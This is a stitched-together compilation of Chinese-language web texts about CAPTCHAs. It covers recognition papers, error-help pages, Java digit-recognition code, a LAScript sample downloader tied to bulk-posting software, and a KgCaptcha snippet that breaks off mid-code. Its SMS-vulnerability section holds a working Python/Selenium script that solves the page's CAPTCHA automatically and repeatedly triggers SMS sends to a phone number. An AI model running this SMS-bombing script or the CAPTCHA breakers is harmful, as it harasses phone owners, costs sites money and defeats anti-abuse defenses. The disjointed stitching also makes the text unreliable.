数字验证码识别问题

《数字图像分析与处理》教学案例库之验证码识别算法研究与应用作者：刘海英陈鹏举郭俊美邓立霞孙涛赵阳来源：《高教学刊》2020年第27期摘要：随着计算机网络技术及验证码技术的快速发展，出现了更多复杂的验证码生成办法，如基于动态图像的验证码系统。

本案例针对给定系统的验证码为研究对象，提出一种具有针对性的策略算法，对比于其它识别算法，本研究算法的识别速度、精确均占有一定优势，具有一定的理论和实际意义。

关键词：数字图像处理;验证码;识别中图分类号：G640 文献标志码：A 文章编号：2096-000X（2020）27-0087-03Abstract： With the continuous development of computer network technology and verification code technology， more complicated verification code generation methods have appeared， such as a verification image system based on dynamic images. This case proposes another targeted strategy for the verification code of a given system. Compared with other recognition algorithms， the recognition speed and accuracy of this research algorithm have certain advantages and have certain theoretical and practical significance.Keywords： digital image processing; verification code; recognition隨着计算机和网络技术的发展，网络安全逐渐成为了人们关注的问题，验证码的重要性也日益凸显。

验证码解决方案
《验证码解决方案》
随着互联网的普及和信息技术的发展，网络安全问题日益严重。

其中，验证码作为一种常见的身份验证和安全保护手段，被广泛应用于各类网络平台和网站。

然而，随着黑客技术的不断提升，传统的验证码已经难以满足安全需求，因此需要不断寻求新的解决方案。

目前，验证码解决方案主要有两种类型：传统验证码和智能验证码。

传统验证码包括图形验证码、短信验证码和邮箱验证码等，虽然简单易用，但由于存在易被破解和仿冒的缺点，安全性受到质疑。

而智能验证码则采用了人工智能和机器学习技术，实现了对用户行为的智能分析，从而提高了验证码的识别准确性和安全性。

除了上述两种主流的验证码解决方案外，还有一些新兴的技术不断涌现。

比如生物特征识别技术，包括指纹识别、人脸识别和虹膜识别等，正在逐渐被应用于验证码领域，为用户提供更加便捷和安全的验证方式。

同时，声纹识别、行为识别等技术也在验证码解决方案中崭露头角。

综上所述，随着网络安全需求的不断提升，验证码解决方案也在不断创新和发展。

传统的验证码虽然存在着诸多弊端，但通过智能化技术的应用和新兴技术的发展，验证码的安全性和便捷性将会得到更好的保障。

未来，随着技术的进一步成熟和应
用，相信验证码解决方案将会更加多样化、智能化和个性化，为用户提供更好的网络安全保护。

the captcha selection was invalid"The captcha selection was invalid" 是一个常见的错误消息，通常在网站或应用程序中出现，意味着你输入的验证码（captcha）选择不正确或无效。

验证码是一种用于验证用户身份或防止自动化程序（如机器人）滥用网站或服务的安全措施。

它通常是一个图像或文本，其中包含一些随机生成的字符或数字，用户需要正确识别并输入这些字符或数字才能继续进行操作。

当你收到 "The captcha selection was invalid" 错误消息时，可能有以下几种情况：1. 输入错误：你可能输入了错误的验证码。

请仔细检查你输入的字符或数字是否与验证码图像或文本中显示的完全一致。

2. 过期的验证码：验证码有时具有时间限制，如果你在规定的时间内没有输入正确的验证码，它将过期并变得无效。

3. 网络问题：有时网络连接不稳定或延迟可能导致验证码无法正确传输或验证。

如果你遇到 "The captcha selection was invalid" 错误消息，可以尝试以下解决方法：1. 刷新验证码：点击验证码图像或文本旁边的刷新按钮，获取一个新的验证码并重新输入。

2. 检查输入：仔细检查你输入的验证码是否正确，确保没有大小写敏感或其他输入错误。

3. 等待一段时间：如果验证码过期，尝试等待几秒钟后再次获取并输入新的验证码。

4. 检查网络连接：确保你的网络连接正常，可以尝试重新加载页面或切换到其他网络环境。

如果问题仍然存在，可能是网站或应用程序的故障。

你可以尝试联系网站的技术支持团队或管理员，向他们报告问题并寻求帮助。

验证码解决方案
《验证码：解决方案》
随着互联网的发展，验证码已经成为网络安全的重要一环。

然而，随着验证码技术的不断发展，也出现了一些问题，比如用户体验不佳、验证码破解等。

为了解决这些问题，以下是一些验证码的解决方案。

首先，多因素验证是一种解决方案。

除了传统的验证码输入外，结合其他因素，比如电话验证、指纹识别、人脸识别等，可以极大地提高验证的准确性，增加安全性。

其次，使用智能验证码也是一种解决方案。

智能验证码通过人工智能技术，可以根据用户的行为模式自动调整验证难度，从而提高用户体验，同时防止机器人恶意登录。

此外，生物特征验证也是一种解决方案。

通过识别用户的生物特征，比如指纹、虹膜等，可以极大地提高验证的准确性，同时简化验证流程，增加用户体验。

另外，也可以采用图形验证码。

图形验证码通过展示一些图片，让用户根据要求进行操作，比如选择出所有包含花朵的图片，从而进行验证，可以有效防止机器人恶意登录，提高安全性。

总之，验证码在网络安全中扮演着重要角色，而为了解决验证码带来的问题，上述的解决方案也是值得一试的。

通过多因素
验证、智能验证码、生物特征验证和图形验证码等手段，可以提高验证的准确性，增加用户体验，从而达到更好的安全性。

---文档均为word文档，下载后可直接编辑使用亦可打印---摘要]数字验证码在安全方面起着十分大的用处，因此在很多网站都可以看到数字验证码的使用。

如今互联网的发展相当快速，紧随着我们也就需要思考安全问题，隐私的泄露会或重或轻的影响用户，而数字验证码作为互联网安全的常用的屏障，可以让互联网生态环境更加健康便利且很好的保护用户隐私。

目前，在网站上中相对常用的是由数字、字母组成的数字验证码。

本文针对粘连且存在干扰噪声的数字验证码图像识别性能欠佳的情况，通过比较各种识别数字验证码的方法，最终选择使用KNN算法作为数字验证码字符识别方法，本课题对有粘连扭曲情况的数字验证码的识别进行设计和分析，过程主要是以下三步：预处理、匹配识别、分析识别率。

图片预处理过程采用了灰度化、二值化、降噪和分割，在分割图片阶段，可能出现检测出四、三、二和一个字符的情况，分别采用不同的方法进行处理，再采用Python工具进行单字符匹配，最后通过KNN算法来识别匹配数字验证码，得到了高达94.4%的识别率，这说明采用该算法能很好的识别粘连扭曲的数字验证码图片。

[关键词]验证码识别；KNN算法；验证码匹配；PythonDesign and Implementation of Digital AuthenticationCode RecognitionStudent: Li Xinyu,College of Electronic InformationInstructor: Wang Yuanmei,College of Electronic Information [Abstract]Digital Authentication Code (DAC) plays a very important role in security, so it can be used in many websites.With the rapid development of the Internet, we also need to think about security issues. The leak of privacy will affect users more or less. Digital Authentication Code, as a common barrier to Internet security, can make the Internet ecological environment healthier, more convenient and better protect user privacy.At present, the relatively common digital verification code on websites is composed of numbers and letters.In view of the poor performance of image recognition of digital verification codes with glue and interference noise, this paper chooses KNN algorithm as the character recognition method of digital verification codes by comparing various methods of identifying digital verification codes. This topic designs and analyzes the recognition of digital verification codes with glue distortion. The process mainly consists of three steps:preprocessing,Match recognition, analyze recognition rate.Picture preprocessing process uses grayscale, binarization, noise reduction and segmentation. In the phase of image segmentation, four, three, two and one characters may be detected. Different methods are used to process them, then single character matching is performed with Python tools. Finally, matching number verification codes are recognized by KNN algorithm, and the recognition rate is up to 94.4%.This demonstrates that the algorithm can recognize the distorted digital authentication code picture very well.[Keywords]Verification code identification；KNN recognition；Verification Code Matching；Python第一章绪论1.1 研究目的及意义当前，随着互联网技术的不断创新研发，我国科技技术飞速发展，各类新兴产品应运而生，在不断丰富人们生活的同时，提高了人们生活质量与生活水平。

怎样输入验证码
输入验证码需要注意以下几点:
1. 仔细观察验证码中的字母或数字,看清楚它们的样子。

验证码中的字符可能模糊不清,需要花一定时间识别。

2. 区分字母的大小写。

验证码常用大小写字母组合,要注意辨别。

如O和0,I和l等容易混淆的字符。

3. 注意字符的顺序。

输入验证码一定要按照验证码中的字符顺序进行输入。

4. 如遇到无法识别的字符,可以考虑全部重新输入,或点击换一换更换验证码。

5. 在输入框中一次输入完整的验证码,不要分多次输入。

6. 输入完成后进行验证,如果收到验证码错误提示,则重新检查验证码并输入。

7. 如果实在无法辨认,可以联系网站管理员进行人工验证。

8. 在验证码输入窗口点击鼠标,可以避免验证码图片变换。

9. 保持冷静,不要因输入错误而过于着急。

耐心和细心是正确输入验证码的关键。

常见的数字验证码识别方法
数字验证码识别是指识别数字验证码的过程，通常用于防止恶意注册、登录等行为。

以下是几种常见的数字验证码识别方法：
1.OCR识别：OCR识别是指使用光学字符识别技术对验证码中的字符进行识别。

OCR识别通常使用计算机视觉技术，通过分析图像中的像素点和线条来识别字符。

OCR识别速度快、精度高，但对于扭曲、变形、模糊等情况的识别效果较差。

2.人工神经网络识别：人工神经网络识别是指使用人工神经网络对验证码中的字符进行识别。

人工神经网络识别通常使用卷积神经网络（CNN）或循环神经网络（RNN）等深度学习模型，通过训练数据集来学习字符的特征，并进行识别。

人工神经网络识别准确度高，但需要大量的训练数据和计算资源。

3.基于规则的识别：基于规则的识别是指使用预定义的规则对验证码中的字符进行识别。

基于规则的识别通常使用模式匹配、字符串匹配等方法，通过匹配字符与预定义的规则来进行识别。

基于规则的识别速度快、易于实现，但对于复杂的验证码效果较差。

以上是几种常见的数字验证码识别方法，每种方法都有其适用范围和优缺点，需要根据具体的场景和需求选择合适的方法。

数字验证码的识别数字验证码很多地方都会用到,我前段时间也写过一篇有关于生成验证码的文章,那是随机生成大小不一,颜色不一,形状不一的数字图片,本文主要是针对那些比较规范的验证码的识别,何谓规范?规范就是数字的大小几乎一致,颜色对比度挺高,没什么干扰线.识别的依据就是最最最基础的办法,比对,先取样,保存成字模,再用字模去和将要识别的图片进行比较,取最接近的那个结果.不过在比较之前必须得到图片里面的数据提取出来并适当地去除一些干扰.下面就是识别部份的代码:/** ImageCode.java** Created on 2007年1月18日, 下午10:00** To change this template, choose Tools | Template Manager* and open the template in the editor.*/package net.bccn.hadeslee.programfan;import java.awt.image.BufferedImage;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.StreamTokenizer;import .URL;import javax.imageio.ImageIO;/*** 验证码识别程序* @author hadeslee*/public class ImageCode {private BufferedImage bi;private static int[][][] model=new int[5][10][208];//静态初始化块static{initNumModel();}/*** Creates a new instance of ImageCode*/public ImageCode() {initNumModel();}public String getNumber(InputStream is){try{bi= ImageIO.read( is );final StringBuffer sb=new StringBuffer();for(int i=0;i<4;i++){int[] data=this.getData(i);sb.append(this.doCheck(data));}return sb.toString();} catch(Exception exe){exe.printStackTrace();return "";}}/*** 重载的方法,根据传进来的参数得到返回的字符串 * @param bi* @return结果*/public String getNumber(BufferedImage bi){try{this.bi= bi;StringBuffer sb=new StringBuffer();for(int i=0;i<4;i++){int[] data=this.getData(i);sb.append(this.doCheck(data));}//System.out.println(sb.toString());return sb.toString();} catch(Exception exe){exe.printStackTrace();return "";}/*** 静态初始化方法,* 用于初始化字模*/private static void initNumModel(){try{//System.out.println("初始化model");for(int i=0;i<10;i++){StreamTokenizer st=new StreamTokenizer(new InputStreamReader(ImageCode.class.getRes ourceAsStream("/net/bccn/hadeslee/model/programfan_"+i+".mod")));st.whitespaceChars('#','#');st.whitespaceChars(',',',');st.eolIsSignificant(false);out:while(true){int token=st.nextToken();if(token==StreamTokenizer.TT_WORD){int who=0;int index=0;if(st.sval.equals("center")){who=0;}else if(st.sval.equals("left")){who=1;}else if(st.sval.equals("right")){who=2;}else if(st.sval.equals("up")){who=3;}else if(st.sval.equals("down")){who=4;}while(st.nextToken()==StreamTokenizer.TT_NUMBER){model[who][i][index++]=(int)st.nval;}st.pushBack();}else if(token==StreamTokenizer.TT_EOF){break out;}}}} catch(Exception exe){exe.printStackTrace();}//System.out.println("初始化结束model");}//通过传进来的字符串得到BufferedImage对象private BufferedImage getBI(String url){try {return ImageIO.read(new URL(url));} catch (IOException ex) {ex.printStackTrace();return null;}}/**根据索引得到*某一块的图像转为数组*的文件*/private int[] getData(int index){BufferedImage sub=bi.getSubimage(index*16,0,16,13);int iw=sub.getWidth();int ih=sub.getHeight();int[] demo=new int[iw*ih];for(int i=0;i<ih;i++){for(int j=0;j<iw;j++){demo[i*iw+j]=(sub.getRGB(j,i)==-1?0:1);}}return demo;}//根据传进来的数组,得到五个位置当中和差别最小的那个private int getMin(int who,int[] demo){int temp=208;for(int i=0;i<5;i++){int x=0;for(int j=0;j<demo.length;j++){x+=(model[i][who][j]==demo[j]?0:1);}if(x<temp){temp=x;}}//System.out.println("比对"+who+"最小值是"+temp);return temp;}//分析689或者0的方法,以免这几个数字混淆private int get689(int[] demo,int origin){boolean isLeft=false,isRight=false;int temp=-1;if((demo[75]==1&&demo[90]==1)||(demo[76]==1&&demo[91]==1)||(demo[58]==1&&demo[74]==1&&demo[90]==1)||(demo[59]==1&&demo[75]==1&&demo [91]==1)||(demo[60]==1&&demo[76]==1&&demo[92]==1)||(demo[28]==1&&demo[44]==1&&demo [60]==1)||(demo[27]==1&&demo[43]==1&&demo[59]==1)){isRight=true;}if((demo[131]==1&&demo[147]==1)||(demo[132]==1&&demo[148]==1)||(demo[133]==1&&de mo[149]==1)){isLeft=true;}if(isLeft&&isRight){temp=8;}else if(isLeft){temp=6;}else if(isRight){temp=9;}else{temp=origin;}if(temp==8&&(!((demo[103]==1&&demo[104]==1&&demo[105]==1&&demo[106]==1)||(demo[87]==1&&demo[88]==1&&demo[89]==1&&demo[90]==1)||(demo[103]+demo[104]+demo[105]+demo[106]+demo[87]+demo[88]+demo[89]+demo[90]>3)))){return temp=0;}return temp;}//比较传入的数据,返回最接近的值private int doCheck(int[] demo){int number=-1;int temp=208;for(int i=0;i<10;i++){int x=this.getMin(i,demo);if(x<temp){temp=x;number=i;}}//System.out.println("===========================================");if(number==6||number==8||number==9){number=this.get689(demo,number);}return number;}}下面是一些字模的内容,把它保存成相应的文件,并能让程序找到就可以了.比如这是0的字模,它在不同位字模,以此类推.这些字模都是先取到样本,然后再分类的#center0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,#left0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0, 0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0, 0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0, 0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0, #right0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0, 0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0, 0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0, 0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0, #up0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0, 0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0, 0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0, 0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, #down0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,在此算法的实现中主要是针对比较规范的验证码,然后还要针对外形比较相似的6890进行分辨,实现识别的方式有很多种,大家仁者见仁,智者见智吧.不过,说句题外话,MOTO的识别就很牛,它对手写字体的支持都能达到很高的识别率,更不要说是正体了,这就是另外一个领域了.不是一两句代码就能搞得定的:)。

基于人工智能的验证码识别研究随着互联网的发展，验证码已经成为许多网站和应用程序中常见的安全措施之一。

然而，由于传统验证码的设计越来越复杂，人工识别验证码变得越来越困难，给用户带来了不便。

因此，研究基于人工智能的验证码识别技术已成为当前亟待解决的问题。

人工智能技术在图像识别领域已经取得了显著的进展，并在验证码识别方面显示出巨大的潜力。

验证码通常由一系列的字母、数字或图形组成，其中包含一些干扰项以防止自动化的识别。

基于人工智能的验证码识别涉及两个主要的方面：特征提取和分类器训练。

特征提取是指将验证码图像中的有用信息提取出来以供分类器使用。

常用的特征提取方法包括图像预处理、边缘检测、形状描述符和颜色特征等。

通过对图像进行预处理，可以去除噪声、调整图像大小和增强图像对比度等。

边缘检测可以识别图像中的边缘信息，从而提取出验证码中的字符轮廓。

形状描述符可以表示字符的形状特征，例如角度、曲率和比例等。

颜色特征可以提取图像中不同区域的颜色分布，有助于识别验证码中的不同字符。

分类器训练是指使用特征提取的数据集来训练一个能够自动识别验证码的算法。

常见的分类器包括支持向量机(SVM)、卷积神经网络(CNN)和随机森林(RF)等。

SVM算法是一种监督学习方法，通过构建一个决策边界来将不同类别的样本分开。

CNN算法利用卷积层、池化层和全连接层等结构来提取特征并进行分类。

随机森林算法则通过多个决策树的集成来进行分类，每棵树都是由不同的特征选择训练出来的。

在进行基于人工智能的验证码识别研究时，有一些挑战需要面对。

首先，验证码的设计者通常会不断改进其设计，以对抗自动化识别的算法，这就要求识别系统能够不断适应新的验证码设计。

其次，验证码中的干扰项可能会使识别任务更加困难，例如扭曲、旋转、遮挡等。

此外，大规模的数据集收集和标注也是一个挑战，因为标注验证码图像需要人力成本较高。

为了解决这些挑战，研究者们提出了一些创新和有效的方法。

一种常见的方法是利用深度学习算法，如卷积神经网络(CNN)，来实现验证码的自动识别。

浅谈短信验证码漏洞前⾔在⽇常的授权测试中，很⼤⼀部分只有⼀个登录界⾯，在这个登录界⾯其实可以测试的东西有很多，⽐如⽤户名枚举，弱密码，验证码，找回密码等等⼀系列问题。

现在的⽹站为了更好的⽤户体验，免去⼤家登录⽹站都要注册的问题，通常都采⽤了发送短信验证码的⽅式来登录，⼀⽅⾯是便捷，另⼀⽅⾯也算是采⽤的动态密码，安全性⽐较⾼，那随之⽽来的验证码的安全性问题也就显现出来了。

⼀短信轰炸漏洞短信轰炸问题其实是最容易想到的，当然对于短信的轰炸问题，还要分⼏类情况看待1.1 ⽆任何限制的短信轰炸这种应该是在短信轰炸中最简单粗暴的⼀种⽅式吧，没有任何限制只需要通过burpsuite去重放数据包即可，然后就可以达到消耗⽬标⽹站的短信数量以及对⼿机号码拥有者造成困扰1.2 有验证码的短信轰炸这个相对于⽆任何限制的短信轰炸是做了限制的，加上了验证码。

如果验证码可以重放的话那还是可以归类到⽆任何限制的短信轰炸中。

如果验证码不能重放并且也不能通过⼿段提前预知，我最常采⽤的⽅法便是python的selenium模块配合验证码识别⼯具去模拟浏览器请求登录，这种⽅式不⽤考虑复杂的交互情况，完全交给浏览器去实现，准确度取决于你验证码识别⼯具的准确度。

⽹上有很多识图⼯具，⽐如各⼤⼚商的OCR等等，或者是github上各位⼤佬的基于机器学习的验证码识别⼯具等等import requestsimport timeimport hashlibfrom selenium import webdriverfrom PIL import Imagefrom bs4 import BeautifulSoupheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0","Accept": "*/*","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","X-Forwarded-For": "137.0.0.2","Content-Type": "application/json;charset=utf-8"}proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080"}def yanzhengma():url = 'http://127.0.0.1:7779'files = open("E:/img/t1.png", 'rb')r = requests.post(url, proxies=proxies, data=files)return r.textdef sendPhone(brower, ph):brower.get('https://xxx.xxx.xxx')phone = brower.find_element_by_xpath("//*[@id=\"mobile\"]")phone.send_keys(ph)path = 'E://img//t.png'imgpath = 'E:/img/t1.png'brower.get_screenshot_as_file(path)im = Image.open(path)box = (1157,320,1274,380)region = im.crop(box)region.save(imgpath)submit = brower.find_element_by_xpath("//*[@id=\"sendSms\"]")image = brower.find_element_by_xpath("//*[@id=\"verifyCode\"]")yzm = yanzhengma()image.send_keys(yzm)submit.click()time.sleep(5)def main():brower = webdriver.Chrome()for i in range(0,10):sendPhone(brower, "11111111111")if __name__ == '__main__':main()先通过屏幕截屏获取整个图⽚，然后再去截取验证码，最后通过验证码识别器识别出验证码后发送到浏览器触发短信轰炸漏洞，该漏洞的危害性主要取决于验证码识别的难易程度以及对发送短信次数的限制。

验证码识别空间推理【知识文章】探索验证码识别技术的空间推理应用1. 引言验证码识别 (Captcha recognition) 是一项旨在辨别人类和计算机之间的身份差异的自动化技术。

使用验证码可以防止网站被自动化爬虫攻击、垃圾邮件、恶意软件等活动。

然而，验证码也给用户带来了一定的不便，特别是当用户在手机上尝试解决复杂的图形或逻辑难题时。

为了解决这一问题，验证码识别技术应运而生，它通过图像处理和机器学习技术来自动识别和解析验证码。

本文将深入探讨验证码识别技术的空间推理应用，为读者带来全面了解。

2. 验证码识别技术概述验证码识别技术基于计算机视觉和机器学习的方法，致力于识别和解析验证码。

这项技术可以分为以下几个步骤：图像预处理、特征提取、模型训练和结果解析。

图像预处理阶段对验证码图像进行降噪、二值化和分割等操作，以减少噪声对后续处理的干扰。

特征提取阶段将验证码图像转化为数字或向量表示，以便输入到机器学习模型中进行训练。

模型训练阶段使用标注好的样本数据来训练分类模型或神经网络，以辨识不同的验证码类型。

结果解析阶段将识别出的验证码结果返回给用户或用于进一步业务逻辑判断。

3. 空间推理在验证码识别中的应用3.1 验证码图像重构空间推理是人类智能中的重要组成部分，它允许我们通过观察、推断和比较来解决问题。

在验证码识别中，空间推理可以应用于验证码图像重构。

通过观察一些基本图形的特征，例如直线、弧线和曲线等，我们可以推断出未知验证码图像的可能形状。

这种空间推理技术可以在图像预处理阶段帮助去除噪声和补充缺失的部分，从而提高验证码识别的准确度和稳定性。

3.2 结构化上下文信息验证码中的字符通常是有特定结构和顺序的，例如水平文本验证码中的字符排列顺序是左到右。

利用空间推理，我们可以根据这种结构化的上下文信息来准确地判断字符的位置和相对顺序。

这样一来，在模型训练时可以引入更多的上下文特征，提高验证码识别的鲁棒性和准确性。

验证码识别技术模拟精灵是首个公开最有效的验证码识别技术的软件，使用模拟精灵制作了大量的免费、商用群发软件，对很多复杂BT的验证码都能成功的识别。

但是验证码仍然需要精湛的技术与足够的耐心。

请牢记这一点。

验证码识别不适合浮躁的人去做。

验证码识别是一项特殊的技术，任何一个公开的验证码识别代码都会很快的失效。

因为代码的公开后相关网站都会很快的更改验证码。

所以下面我只会介绍其原理。

在这里讨论验证码识别技术纯粹基于技术研究目的。

公开此技术也是为了让更多的网站采取更有效的防范措施。

禁止任何人利用这里介绍的验证码识别技术滥发垃圾信息。

本文介绍的验证码识别适用于比较复杂的图片验证码，也是大多数网站采用的方法。

有一些网站的验证码极简单，例如在网页中直接显示验证码字符而不是图片，或者图片的文件名直接就是验证码上的字符。

或者有其他规律可循，或者有其他明显的漏洞可以利用(例如通过改写访问验证码页面的源代码使验证码不刷新)。

这一类的验证码识别极其简单，只要熟练掌握web库、element库的函数即可，不需要使用下面介绍的方法。

一、下载验证码样本打开c:\test文件夹，选“查看缩略图”，然后重复运行下面的LAScript脚本，每运行一次,就查看c:\test下自动生成的图片,把图片上的字符改为文件名.例如图片上面显示5,就把文件名改为5.jpg.如果变化比较复杂的验证码，可以对每个字符多用几个样本，第一个字符为验证码字符，第二个字符可以为任意字符。

例如：5a.jpg , 5b.jpg , 5c.jpg ...........等等。

样本多就会识别能力就越强。

img = image.new();--下载图像，没有后缀名要显示指定*.bmp格式img:getURL("http://www.***.com/test.asp","*.png");assert(img:ok(),"下载验证码失败");img:Crop(4 ,3 , 56 ,18 )img:save("c:\\test\\test.jpg") --保存到硬盘--折分图片，指定一行四列img2,img3,img4,img5 = img:split(1,4);img2:save("c:\\test\\0001.jpg")img3:save("c:\\test\\0002.jpg")img4:save("c:\\test\\0003.jpg")img5:save("c:\\test\\0004.jpg")image.del(img);如何确定图片后缀名在整个验证码识别过程中，格式与后缀名一定不能搞错，否则就会失败。

captcha verification errorCaptcha Verification Error: 什么是验证码验证错误？Captcha Verification Error是指在使用网络服务或应用程序时，出现的一个常见问题。

它通常会出现在需要用户输入验证码的情况下，如注册账号、提交表单等。

当用户输入的验证码与服务器所要求的不一致时，就会出现Captcha Verification Error。

在这篇文章中，我们将深入探讨Captcha Verification Error的原因、解决方法以及如何避免它。

一、Captcha Verification Error的原因1.1 验证码本身存在问题有时候，验证码本身就存在问题。

可能是由于服务器出错或者是由于网络连接不稳定导致的。

这种情况下，我们可以尝试重新加载页面或者更换浏览器再试一次。

1.2 用户输入错误另外一个常见原因是用户输入错误。

当用户无法正确识别验证码上的字符或数字时，他们可能会多次尝试并最终输错了验证码。

这种情况下，我们可以尝试刷新页面并再次输入正确的验证码。

1.3 网络连接问题有时候网络连接不稳定也会导致Captcha Verification Error。

当网络连接不稳定时，数据传输可能会受到干扰或丢失，从而导致无法正确验证验证码。

这种情况下，我们可以尝试重新启动路由器或更换网络环境，然后再次尝试。

1.4 服务器问题最后一个可能的原因是服务器出现问题。

当服务器出现故障或者负载过重时，它可能无法正确处理验证码验证请求。

这种情况下，我们可以尝试等待一段时间，然后再次尝试。

二、Captcha Verification Error的解决方法2.1 刷新页面并重新输入验证码当遇到Captcha Verification Error时，最简单的解决方法是刷新页面并重新输入验证码。

这通常可以解决由于网络连接问题或用户输入错误导致的问题。

2.2 更换浏览器或设备有时候，Captcha Verification Error可能与特定浏览器或设备有关。

验证码，你不知道的那些事！开头的话关于验证码，大家也许会有很多疑问，下面我总结了一些常见问题。

1、什么是验证码？验证码（CAPTCHA）全称为：Completely Automated Public Turing test to tell Computers and Humans Apart，全自动区分计算机和人类的图灵测试，是一种区分用户是计算机还是人的公共全自动程序。

2、验证码有什么作用？结合我们的日常生活，我们发现验证码通常出现在登录、注册、领优惠券、购买游戏装备、购票、发帖等场景。

验证码有效防止这种问题对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试，验证码很大程度上是用来判断操作是人为还是机器人。

3、行为验证码的原理是什么？针对用户产生的行为轨迹数据进行机器学习建模，结合访问频率、地理位置、历史记录等多个维度信息，快速、准确的返回人机判定结果，故而机器识别+模拟则不易通过。

4、验证码的类型都有哪些？（1）数字、字母、中文组合：以图片的形式展示字母、数字、中文混合组合，此类验证码一般由4位组成。

（2）短信验证码：比较常见的验证码类型，用户填好手机号码，单击获取验证码后，手机上就能收到短信验证码。

（3）行为验证码：智能无感、滑动拼图、文字点选、语序点选、字体识别、空间推理等。

5、怎样防止恶意刷短信验证？恶意短信验证，属于短信轰炸的一种，用户端表现为高频收到验证短信内容，用户体验差。

对公司来讲，大量的恶意短信验证，增加公司运营成本，支付额外的短信运营费用。

防止这种恶意行为，方式之一是可以增加验证码校验。

发送短信验证码时，可要求通过验证码。

同时在验证码请求错误时，要重置验证码，防止图片验证码识别软件尝试多次识别。

前端代码：<script src="captcha.js?appid=xxx"></script> <script>kg.captcha({// 绑定弹窗按钮button: "#captchaButton",// 验证成功事务处理success: function (e) {// 验证成功，直接提交表单// form1.submit();console.log(e);},// 验证失败事务处理failure: function (e) {console.log(e);},// 点击刷新按钮时触发refresh: function (e) {console.log(e);}});</script><a id="captchaButton">点击弹出验证窗口</a>后端代码：<?phpinclude "public/KgCaptchaSDK.php";// 填写你的 AppId，在应用管理中获取$appId = "xxx";// 填写你的 AppSecret，在应用管理中获取$appSecret = "xxx";$request = new kgCaptcha($appId, $appSecret); // 填写应用服务域名，在应用管理中获取$request->appCdn = "appCdn";// 前端验证成功后颁发的 token，有效期为两分钟$request->token = $_POST["kgCaptchaToken"]; // 当安全策略中的防控等级为3时必须填写$request->userId = "kgCaptchaDemo";// 请求超时时间，秒$request->connectTimeout = 10; $requestResult = $request->sendRequest();if ($requestResult->code === 0) {// 验签成功逻辑处理echo "验证通过";} else {// 验签失败逻辑处理echo 